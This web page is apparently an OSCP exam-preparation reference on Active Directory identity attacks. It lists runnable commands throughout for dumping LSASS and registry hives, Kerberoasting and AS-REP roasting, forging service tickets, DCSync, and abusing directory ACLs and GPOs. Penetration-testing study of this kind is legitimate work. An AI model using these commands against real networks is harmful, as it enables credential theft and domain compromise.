Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Active Directory/AD identity attacks

REFERENCE / 18 TASKS

AD identity attacks

Choose the account right or credential material you actually have. Check its prerequisites, make the matching identity transition, then enumerate again.

Contents ↓Tools & scripts ↓Commands ↓First-pass workflow ↓Full procedure index ↗

Contents

Jump to a task. Commands and variants are visible below; full checks and explanations stay on each technique page.

  • Host credential sources
    • Obtain accessible live logon-session credential material
    • Extract local account hashes from matched SAM and SYSTEM
    • Extract LSA secrets and cached-domain verifiers
    • Use Credential Manager and DPAPI with the protecting context
    • Parse an offline domain database or select a justified remote collection path
  • Password-derived ticket recovery
    • Request AS-REP material for an account without preauthentication
    • Request a selected service ticket for offline service-account recovery
    • Create a temporary SPN through an effective object right
  • Ticket capabilities
    • Inventory, convert and import tickets in the correct logon context
    • Forge a service-scoped ticket from the correct service key
  • Object-backed identity changes and replication
    • Reset a target account password through a validated directory right
    • Add a controlled identity to a group through effective membership rights
    • Convert ownership or DACL control into a narrower useful right
    • Use validated directory replication rights for bounded credential proof
  • Conditional policy, delegation and certificate paths
    • Conditional: trace GPO control to privileged policy consumption
    • Conditional: use a validated delegation or RBCD relationship
    • Conditional: validate an AD CS enrollment-to-authentication path
    • Conditional: understand a realm-wide TGT forgery from KRBTGT material

Tools & scripts

Impacket Kerberos tools upstream ↗
Use the matching identity, SPN and ticket-request prerequisites.
Rubeus upstream ↗
Inventory ticket contexts before using a selected ticket.
Certipy upstream ↗
Inspect AD CS prerequisites before a certificate-based transition.

Host credential sources

Obtain accessible live logon-session credential material

Contents ↑

Use when: A controlled Windows host may hold useful logged-on identities

Needs: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material

Windows commands

SourceWhat it can containTypical prerequisiteResult is not automatically
Current ticket cacheTGTs and service tickets for the current logon sessionCurrent user; other LUIDs normally require elevationA password, NT hash or authorization to every service
LSASS memory/dumpLogon-session NTLM/AES/DPAPI material and tickets, depending on OS/protection/logon typeAdministrator/SYSTEM, suitable debug/dump access, compatible architectureGuaranteed cleartext or every user's reusable secret
SAM + SYSTEMLocal account password hashesAdministrator/SYSTEM/backup-capable access to matched hivesDomain-account material
SECURITY + SYSTEMLSA secrets, service/machine secrets, cached domain verifiersAdministrator/SYSTEM/backup-capable access to matched hivesDirectly passable cached-domain hashes
Credential Manager/DPAPITargeted saved credentials and protected application dataSuitable user/machine context plus master-key materialPlaintext merely because a blob/file is readable
NTDS + SYSTEMDomain account hashes/keys from a DC databaseDC-level file access and matched boot-key materialOrdinary member-server admin access
DRS replicationSelected domain-account secretsEffective replication rights at the domain rootLocal admin, DC service access or Domain Users membership
REM Baseline
whoami /all
tasklist /fi "imagename eq lsass.exe"
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags

PowerShell commands

# Baseline
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object SecurityServicesConfigured,SecurityServicesRunning,VirtualizationBasedSecurityStatus
  • membership in Administrators with a medium-integrity filtered token is not equivalent to an elevated process;
  • SeDebugPrivilege must be present and usable for common live-process access;
  • a missing registry value is not definitive proof that a protection is disabled because defaults, policy and firmware state matter;
  • LSA protection blocks untrusted code injection/process-memory access; Credential Guard isolates selected NTLM, Kerberos and saved-domain secrets with VBS;
  • EDR/AV can block a tool or dump path without proving the underlying credential source is empty.

An access-denied or empty result disproves only that method in the current context.

Direct Mimikatz access

# Direct Mimikatz access
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets

Dump first, parse offline

REM Dump first, parse offline
for /f "tokens=2" %A in ('tasklist ^| findstr /i lsass.exe') do rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump %A C:\Windows\Temp\lsass.dmp full

REM Sysinternals ProcDump alternative
procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp

Parse with a compatible Mimikatz build

# Parse with a compatible Mimikatz build
mimikatz.exe
sekurlsa::minidump C:\Path\To\lsass.dmp
sekurlsa::logonpasswords
sekurlsa::tickets

Dump first, parse offline

  • dump creation denied: token/protection/EDR or process-access prerequisite failed;
  • ProcessorArchitecture mismatch: use compatible x64/x86 tooling;
  • OS major-version mismatch: parse with a compatible build/environment;
  • dump succeeds but secrets are absent: logon type, sign-out/reboot, Credential Guard and provider behavior affect contents.
# Dump first, parse offline
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured,DeviceGuardSecurityServicesRunning

Credential Guard can isolate reusable domain secrets from ordinary LSASS memory. It does not erase local SAM, file, vault, DPAPI, ticket, service-configuration or directory-right paths. One failed dump method disproves only that method and context. Intrusive SSP interception changes system state and waits for a future logon; it is not the default Block 5 response.

Read / verify → Tie each artifact to an account, source/logon session and material type; independently validate any useful reuse.

If it fails → Protected process access denial, absent sessions and unsupported parsing are different outcomes. Prefer an accessible ticket or other matched source when available.

  • An NT verifier from an appropriate credential source → Recover or reuse an NT password hash
  • A ccache/kirbi file or an existing ticket cache → Classify tickets and use a compatible cache
  • Protected local registry material is available under sufficient host privilege → Extract local account hashes from matched SAM and SYSTEM
  • An already controlled DC or a validated privileged domain collection context → Parse an offline domain database or select a justified remote collection path

Prerequisite checks & examples →Full technique →

Extract local account hashes from matched SAM and SYSTEM

Contents ↑

Use when: Protected local registry material is available under sufficient host privilege

Needs: Matched SAM/SYSTEM from the same system and appropriate read/backup access

Windows commands

REM Baseline
reg save HKLM\SAM C:\Windows\Temp\SAM.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y

Shell commands

# Baseline
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Mimikatz alternative from a suitable elevated context

# Mimikatz alternative from a suitable elevated context
privilege::debug
token::elevate
lsadump::sam

# Interpret a typical account row as
LOCAL_USER:RID:LM_HASH:NT_HASH:::

Read / verify → Verify source machine, matched hive pair and account/RID mapping; validate destination rights separately.

If it fails → Mismatched/incomplete hives or denied backup operations require source repair. Local hashes do not automatically grant domain access.

  • An NT verifier from an appropriate credential source → Recover or reuse an NT password hash
  • A password, actual NT hash, AES/NT long-term key or ticket is available → Select password, NT hash, key-to-ticket or ticket authentication
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • Matched SECURITY/SYSTEM material is accessible → Extract LSA secrets and cached-domain verifiers

Prerequisite checks & examples →Full technique →

Extract LSA secrets and cached-domain verifiers

Contents ↑

Use when: Matched SECURITY/SYSTEM material is accessible

Needs: Appropriate host/read privilege and complete matching key/source files

Windows commands

REM Baseline
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y

Shell commands

# Baseline
impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL

Mimikatz alternative

# Mimikatz alternative
privilege::debug
token::elevate
lsadump::secrets
lsadump::cache

DCC2 is for offline guessing, not Pass-the-Hash

# DCC2 is for offline guessing, not Pass-the-Hash
hashcat -m 2100 dcc2.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Verify the exact format with the installed Hashcat examples before cracking.

Read / verify → Retain source, account, type and required factors; do not label every parsed output a Pass-the-Hash credential.

If it fails → Absent cached entries or protected secrets are source-specific limitations; use another justified credential source.

  • A DCC2/MSCache record from matched SECURITY/SYSTEM material → Recover a password from cached domain logon verifiers
  • A password tied to a plausible user and service → Validate known passwords and context-specific reuse
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context

Prerequisite checks & examples →Full technique →

Use Credential Manager and DPAPI with the protecting context

Contents ↑

Use when: Saved credentials or protected application blobs/master keys

Needs: Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor

Windows commands

REM Baseline
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all

PowerShell commands

# Baseline
Get-ChildItem "$env:APPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:APPDATA\Microsoft\Protect" -Force -Recurse -ErrorAction SilentlyContinue

DPAPI reasoning

# DPAPI reasoning
PROTECTED BLOB
-> MASTER-KEY GUID
-> USER OR MACHINE PROTECT SCOPE
-> MASTER-KEY DECRYPTION MATERIAL
-> APPLICATION-SPECIFIC DECODING

Read / verify → Verify the decrypted value or actual saved-credential action in its matching context.

If it fails → Missing master keys, wrong protecting identity or incomplete artifacts require another source/context.

  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • A password tied to a plausible user and service → Validate known passwords and context-specific reuse
  • Readable application configuration, unattended setup, PowerShell trails or Credential Manager entries → Recover Windows application, history and stored-credential artifacts

Prerequisite checks & examples →Full technique →

Parse an offline domain database or select a justified remote collection path

Contents ↑

Use when: An already controlled DC or a validated privileged domain collection context

Needs: Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method

Offline NTDS from an already controlled DC

# Offline NTDS from an already controlled DC
impacket-secretsdump -ntds NTDS.dit -system SYSTEM.hive LOCAL

Obtaining locked DC database files normally requires DC-level privilege and a snapshot/backup-aware method. Ordinary local administrator on a member server does not provide this material.

Shadow-copy boundary: inspect before creating anything

REM Shadow-copy boundary: inspect before creating anything
whoami /priv
vssadmin list shadows
diskshadow

At the DISKSHADOW> prompt

# At the DISKSHADOW> prompt
list shadows all
exit

Interpret: an existing shadow proves only a snapshot object. It does not prove the current identity can read NTDS.dit, that the copy is current, or that a matching SYSTEM hive has been acquired. DiskShadow is a Windows Server utility; absence on a workstation is a platform result, not proof that VSS does not exist.

Creating, exposing or deleting a shadow changes host state and normally requires elevated backup/administrator context. Do not offer those actions until the selected procedure records the exact volume, matched NTDS/SYSTEM acquisition, destination, verification and cleanup. The state-machine gap is tracked as RW08; listing is safe discovery, not credential acquisition.

Remote collection

# Remote collection
impacket-secretsdump -dc-ip DC_IP 'DOMAIN/USER:PASSWORD@DC_HOST'

# Remote collection
impacket-secretsdump -hashes :NT_HASH -dc-ip DC_IP 'DOMAIN/USER@DC_HOST'

This broad form can invoke several remote collection paths and is high impact. Use it only when the lab objective and privileges justify those sources. For replication rights and a bounded one-user request, use DCSync.

Read / verify → Verify source consistency, account mapping and the exact collection method; retain sensitive output privately.

If it fails → DC reachability or local administrator access on a member server is not sufficient for domain replication.

  • A principal has the relevant effective replication rights at the domain naming context → Use validated directory replication rights for bounded credential proof
  • An NT verifier from an appropriate credential source → Recover or reuse an NT password hash
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • An already compromised domain exposes a KRBTGT key and domain SID → Conditional: understand a realm-wide TGT forgery from KRBTGT material

Prerequisite checks & examples →Full technique →

Password-derived ticket recovery

Request AS-REP material for an account without preauthentication

Contents ↑

Use when: A known user or directory flag indicates Kerberos preauthentication is disabled

Needs: Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ

Why AS-REP roasting works

Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.

# Why AS-REP roasting works
KNOWN USERNAME + PREAUTH DISABLED + KDC REACHABLE
-> AS-REP CIPHER
-> OFFLINE GUESSING
-> PASSWORD ONLY IF A CANDIDATE VERIFIES

One known user, no password

# One known user, no password
impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request \
  -dc-ip DC_IP -outputfile asrep-TARGET_USER.hashes

# Supplied user list, no password
impacket-GetNPUsers 'DOMAIN/' -no-pass -request -usersfile users.txt \
  -dc-ip DC_IP -outputfile asrep.hashes

# Authenticated directory-backed discovery
impacket-GetNPUsers 'DOMAIN/USER' -request \
  -dc-ip DC_IP -outputfile asrep.hashes

Windows/Rubeus alternative

REM Windows/Rubeus alternative
Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:asrep.hashes /format:hashcat

Interpret before cracking

OutputMeaningNext action
$krb5asrep$23$RC4 AS-REP offline verifierHashcat mode 18200
AS-REP with another etypeDifferent cipher/formatMatch the exact prefix to installed Hashcat/John support
KDC_ERR_C_PRINCIPAL_UNKNOWNUser/realm not foundRecheck spelling, realm and DC
Preauthentication required / no UF_DONT_REQUIRE_PREAUTHAccount is not roastable through this methodDisprove this path for that account
Timeout/name errorKDC route/DNS problemFix route/FQDN/time before account conclusions
# Interpret before cracking
hashcat -m 18200 asrep.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.hashes --show

Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.

Read / verify → Verify the account, realm, response format/encryption type and recovered credential if cracking succeeds.

If it fails → Preauthentication-required disproves this method for that account; unknown user, route and clock failures have different meanings.

  • A supported stored verifier or converted protected artifact → Recover passwords with feasible dictionary, rule and mask attacks
  • A password tied to a plausible user and service → Validate known passwords and context-specific reuse
  • A user-owned SPN and a useful service-account relationship → Request a selected service ticket for offline service-account recovery

Prerequisite checks & examples →Full technique →

Request a selected service ticket for offline service-account recovery

Contents ↑

Use when: A user-owned SPN and a useful service-account relationship

Needs: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

Why Kerberoasting works

Any valid domain identity can normally request a service ticket for an SPN. The ticket is encrypted with key material belonging to the SPN account, allowing offline password guessing.

# Why Kerberoasting works
VALID DOMAIN IDENTITY + SPN ACCOUNT + KDC ROUTE
-> TGS-REP CIPHER
-> OFFLINE GUESSING
-> SERVICE-ACCOUNT PASSWORD IF A CANDIDATE VERIFIES

Rank SPN accounts before requesting tickets: group/ACL value, service/host, account type, password age, enabled state and resulting access matter more than collecting every ticket.

Enumerate without requesting tickets

# Enumerate without requesting tickets
impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER'

Enumerate without requesting tickets

REM Enumerate without requesting tickets
Rubeus.exe kerberoast /stats /domain:DOMAIN /dc:DC_HOST

Request one selected user

# Request one selected user
impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile kerberoast-TARGET_USER.hashes 'DOMAIN/USER'

Request one selected user

REM Request one selected user
Rubeus.exe kerberoast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

Request all mapped candidates

# Request all mapped candidates
impacket-GetUserSPNs -request -dc-ip DC_IP \
  -outputfile kerberoast.hashes 'DOMAIN/USER'

Request all mapped candidates

REM Request all mapped candidates
Rubeus.exe kerberoast /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

Use broad requests only when scope and the candidate inventory justify them. Prefer one ranked account during verification.

Hash type and cracking

# Hash type and cracking
hashcat -m 13100 kerberoast.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19600 kerberoast-aes128.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 kerberoast-aes256.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m MODE HASH_FILE --show

Read / verify → Record SPN/account/encryption type and verify any recovered password against the intended identity.

If it fails → No crack means only the tried candidates failed; a ticket request does not prove a weak password or host access.

  • A supported stored verifier or converted protected artifact → Recover passwords with feasible dictionary, rule and mask attacks
  • A password tied to a plausible user and service → Validate known passwords and context-specific reuse
  • Group-to-host access edges or a privileged user's possible session → Validate host access and volatile session candidates

Prerequisite checks & examples →Full technique →

Create a temporary SPN through an effective object right

Contents ↑

Use when: A controlled principal can write a user's servicePrincipalName

Needs: Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup

Built-in SPN operations

If Block 10 proved effective write access to a user object's servicePrincipalName, an SPN can be temporarily added, requested and removed. This is a state-changing directory attack and must preserve original state.

REM Built-in SPN operations
setspn -L TARGET_USER
setspn -S temporary/TARGET_USER TARGET_USER

Request only that account

# Request only that account
impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile targeted-TARGET_USER.hashes 'DOMAIN/USER'

Cleanup

REM Cleanup
setspn -D temporary/TARGET_USER TARGET_USER
setspn -L TARGET_USER

PowerShell commands

The controlled right must apply to the SPN attribute, -S must not collide with an existing SPN, and cleanup is part of the procedure. A recovered password is still validated and mapped as a new identity.

If the effective right permits writing servicePrincipalName on a user, add a unique temporary SPN, request that account's ticket and remove the SPN immediately. The cracking workflow is in Kerberos and identity transitions.

# Baseline
setspn -S TEMP/TARGET_USER TARGET_USER
setspn -Q TEMP/TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /outfile:TARGET_USER.tgs /format:hashcat
setspn -D TEMP/TARGET_USER TARGET_USER

Read / verify → Verify effective right, requested account and cleanup; confirm any recovered credential independently.

If it fails → GenericWrite must actually apply to the property/object. Duplicate SPNs, protected objects or policy can prevent the chain.

  • A supported stored verifier or converted protected artifact → Recover passwords with feasible dictionary, rule and mask attacks
  • A password tied to a plausible user and service → Validate known passwords and context-specific reuse
  • An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right → Validate effective directory-object control

Prerequisite checks & examples →Full technique →

Ticket capabilities

Inventory, convert and import tickets in the correct logon context

Contents ↑

Use when: A valid ticket/cache or a long-term key that can request a TGT

Needs: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

Windows commands

REM Baseline
klist
klist tgt
klist sessions
klist -li 0xLUID tickets
klist -li 0xLUID tgt
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap

Linux cache

Field/patternInterpretationDecision
Client: USER @ REALMIdentity representedMap that exact user/computer and realm
Client ending in $Computer identityEstablish machine-account rights; do not treat as a human user
Server: krbtgt/REALMTGTCan request service tickets while valid, within that client's authorization
Server: cifs/HOSTCIFS service ticketOnly SMB/CIFS on the named host; authorization still applies
Server: ldap/DC_HOSTLDAP service ticketLDAP authentication, not replication rights
Other SERVICE/HOSTTicket for that SPNUse matching hostname/service/client
Start/End/Renew TimeValidity windowsImport cannot revive an expired/not-yet-valid ticket
Ticket flagsKerberos behavior/historyNot evidence of privilege
Kdc CalledIssuing KDCNot evidence of access to that DC
Encryption/session keyCompatibility/policy clueNot privilege or password strength
# Linux cache
klist -c ticket.ccache
export KRB5CCNAME="$PWD/ticket.ccache"

Convert only when a client expects the other container

# Convert only when a client expects the other container
impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi

Windows/Rubeus

REM Windows/Rubeus
Rubeus.exe ptt /ticket:ticket.kirbi
klist

Windows/Mimikatz

# Windows/Mimikatz
kerberos::ptt ticket.kirbi
kerberos::list

Linux

# Linux
export KRB5CCNAME="$PWD/ticket.ccache"
klist

NT hash or AES key to a TGT

REM NT hash or AES key to a TGT
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

Mimikatz creates a new process using supplied key material

# Mimikatz creates a new process using supplied key material
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:cmd.exe

Windows commands

This is a credential/ticket-context transition, not proof that a destination accepts the identity.

REM Baseline
klist
klist tgt
klist sessions

REM When privileges permit inspecting another logon session
klist -li 0xLUID tickets
klist -li 0xLUID tgt

REM Baseline
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap

Do not use klist purge during triage. It destroys cached tickets and can break the current session. Interpret exported tickets using Kerberos and identity transitions.

Read / verify → Verify ticket client/server/lifetime and an actual service operation; record local versus network identity separately.

If it fails → IP-only naming, realm mismatch, expired lifetime, wrong logon session or unsupported tool Kerberos can break otherwise valid material.

  • A password, actual NT hash, AES/NT long-term key or ticket is available → Select password, NT hash, key-to-ticket or ticket authentication
  • A destination grants administrative-share write and service-control rights → Execute through uploaded service creation using PsExec
  • An IP connection works while hostname/Kerberos access fails → Preserve DNS, Kerberos names and time across a pivot
  • A service account key and a concrete compatible service/SPN objective → Forge a service-scoped ticket from the correct service key

Prerequisite checks & examples →Full technique →

Forge a service-scoped ticket from the correct service key

Contents ↑

Use when: A service account key and a concrete compatible service/SPN objective

Needs: Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use

Linux/Impacket

Prerequisite: key/hash of the account encrypting the target SPN's tickets, domain SID, exact SPN/service/host, a plausible existing domain identity and compatible target-service validation behavior.

# Linux/Impacket
impacket-ticketer -nthash SERVICE_NT_HASH -domain-sid DOMAIN_SID \
  -domain DOMAIN -spn cifs/TARGET_HOST AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist

Windows/Mimikatz

# Windows/Mimikatz
kerberos::golden /sid:DOMAIN_SID /domain:DOMAIN /target:TARGET_HOST /service:cifs /rc4:SERVICE_NT_HASH /user:AUTHORIZED_TEST_USER /ptt
  • the key must belong to the account that owns the SPN; machine-account keys commonly protect host services;
  • the ticket is limited to the named service/host and whichever services share the same account key;
  • current PAC enforcement means using a nonexistent identity can fail; use a real authorized test identity and validate behavior;
  • a service may perform KDC/PAC validation or additional authorization;
  • a successfully imported ticket is not successful service access.

Golden tickets require the KRBTGT key and domain SID and create a forged TGT. They are a high-impact persistence concept covered in the conditional domain-compromise section, not a default Block 11 action.

Read / verify → Prove the intended service action and ticket context; ticket creation/import success alone is insufficient.

If it fails → Wrong key/SPN/SID or modern validation can reject the ticket. Prefer an existing valid credential/TGT route when enabled.

  • A password, actual NT hash, AES/NT long-term key or ticket is available → Select password, NT hash, key-to-ticket or ticket authentication
  • SMB/RPC endpoints, domain clues or new credentials → Enumerate SMB/RPC shares, files and identities
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context

Prerequisite checks & examples →Full technique →

Object-backed identity changes and replication

Reset a target account password through a validated directory right

Contents ↑

Use when: A controlled trustee has the effective password-reset right on a useful account

Needs: Exact object/right and account state; the disruptive password change is justified within the assigned lab objective

PowerShell commands

# Baseline
$Secure = ConvertTo-SecureString 'TEMP_PASSWORD' -AsPlainText -Force
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $Secure -Verbose
net user TARGET_USER TEMP_PASSWORD /domain

Validate the account state and authenticate only to an approved service as the target identity. Prefer a reversible route when one exists.

Read / verify → Verify account identity and compatible authentication, then test relevant authorization.

If it fails → A stale/protected-object edge or policy can prevent the reset. Prefer a reversible SPN/group route when it achieves the objective.

  • A password tied to a plausible user and service → Validate known passwords and context-specific reuse
  • Group-to-host access edges or a privileged user's possible session → Validate host access and volatile session candidates
  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization

Prerequisite checks & examples →Full technique →

Add a controlled identity to a group through effective membership rights

Contents ↑

Use when: A group member-attribute write or equivalent effective right

Needs: Exact target group, controlled principal, useful resulting right and a fresh token/logon context

PowerShell commands

# Baseline
Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Get-DomainGroupMember -Identity TARGET_GROUP |
  Where-Object { $_.MemberName -eq 'CONTROLLED_USER' }

# Built-in alternative
net group TARGET_GROUP CONTROLLED_USER /add /domain

# Baseline
Remove-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose -Confirm:$false
net group TARGET_GROUP CONTROLLED_USER /delete /domain

Read / verify → Verify directory membership and actual service action from a refreshed context, then restore the original membership.

If it fails → An old token, wrong group or nesting/policy behavior can leave authorization unchanged despite a successful modification.

  • A WinRM listener and a candidate endpoint-authorized account → Use WinRM, WinRS or PowerShell remoting
  • Group-to-host access edges or a privileged user's possible session → Validate host access and volatile session candidates
  • A password tied to a plausible user and service → Validate known passwords and context-specific reuse

Prerequisite checks & examples →Full technique →

Convert ownership or DACL control into a narrower useful right

Contents ↑

Use when: Effective WriteOwner or WriteDacl on a useful directory object

Needs: Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner

PowerShell commands

WriteOwner can make the controlled identity the owner; ownership may then permit a DACL change. WriteDacl can grant only the narrower right needed for the intended transition.

# Baseline
Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Add-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose

# Group-membership variant
Add-DomainObjectAcl -TargetIdentity TARGET_GROUP -PrincipalIdentity CONTROLLED_USER -Rights WriteMembers -Verbose

# Remove the ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose

Export the original owner/security descriptor before changing it and restore exactly that state. Password resets, membership changes, SPN writes, ownership changes and ACE grants are state changes; do not execute merely because a graph shows an edge.

Read / verify → Verify the intermediate owner/DACL state and final operation separately; restore original state afterward.

If it fails → Protected-object behavior, scope/inheritance or a missing intermediate right can break the chain.

  • A controlled trustee has the effective password-reset right on a useful account → Reset a target account password through a validated directory right
  • A group member-attribute write or equivalent effective right → Add a controlled identity to a group through effective membership rights
  • A controlled principal can write a user's servicePrincipalName → Create a temporary SPN through an effective object right

Prerequisite checks & examples →Full technique →

Use validated directory replication rights for bounded credential proof

Contents ↑

Use when: A principal has the relevant effective replication rights at the domain naming context

Needs: Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient

Validate ACLs at the domain root

Prerequisite: effective domain-root rights equivalent to Replicating Directory Changes plus Replicating Directory Changes All (and filtered-set rights where applicable). Domain membership or local admin on an ordinary host is insufficient.

# Validate ACLs at the domain root
Get-DomainObjectAcl -Identity 'DC=DOMAIN,DC=TLD' -ResolveGUIDs |
  Where-Object { $_.ObjectAceType -match 'Replication-Get-Changes' }

# Baseline
Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

# Remove the delegated replication ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

Request one approved test account rather than dumping the directory

Local administrator rights on a member host, an LDAP bind or a valid Kerberos ticket do not supply replication rights. Re-read the effective domain-root ACL before and after a change.

# Request one approved test account rather than dumping the directory
impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP \
  'DOMAIN/USER:PASSWORD@DC_HOST'

Mimikatz equivalent from an authorized Windows context

# Mimikatz equivalent from an authorized Windows context
lsadump::dcsync /domain:DOMAIN /user:TARGET_USER

Decisive output: selected directory secret material returned through replication. Treat it as domain compromise evidence. Stop, protect evidence, document the delegated right and move to remediation reasoning rather than broad collection.

Read / verify → Verify the replication source, account and material type; avoid equating a tool label with proven rights.

If it fails → RPC route, identity context and missing replication rights produce different failures; verify each prerequisite.

  • An NT verifier from an appropriate credential source → Recover or reuse an NT password hash
  • A valid ticket/cache or a long-term key that can request a TGT → Inventory, convert and import tickets in the correct logon context
  • Access, privilege, identity or route changes, or a report will need reproduction → Capture state-transition, proof and exploit-adaptation evidence

Prerequisite checks & examples →Full technique →

Conditional policy, delegation and certificate paths

Conditional: trace GPO control to privileged policy consumption

Contents ↑

Use when: A useful linked GPO has a potentially controllable directory or SYSVOL component

Needs: Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger

Identify GPOs and links

# Identify GPOs and links
Get-DomainGPO
Get-DomainOU | Select-Object name,distinguishedname,gplink
Get-DomainObjectAcl -SearchBase 'CN=Policies,CN=System,DC=DOMAIN,DC=TLD' -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteProperty' }

Inspect the installed build before a controlled lab action

SharpGPOAbuse supports immediate-task/local-group techniques, but syntax is version-sensitive and the action changes domain policy. Inspect the installed build before a controlled lab action:

REM Inspect the installed build before a controlled lab action
SharpGPOAbuse.exe --help
gpresult /r
gpupdate /force

Read / verify → Verify actual policy application and resulting privileged effect; retain/restorable original policy state.

If it fails → Wrong link, filtering, unavailable refresh or missing file rights invalidates the chain. Keep this as a conditional supplement.

  • An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right → Validate effective directory-object control
  • A task/startup action consumes a writable command, file, directory or registry value → Control scheduled tasks, startup files or autostart consumers
  • Several hosts, identities, routes or competing hypotheses need coordination → Maintain state and select the next evidence-producing test

Prerequisite checks & examples →Full technique →

Conditional: use a validated delegation or RBCD relationship

Contents ↑

Use when: Delegation configuration or computer-object write suggests a Kerberos impersonation path

Needs: Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow

Enumerate before attempting any ticket operation

# Enumerate before attempting any ticket operation
Get-DomainComputer -Unconstrained | Select-Object dnshostname
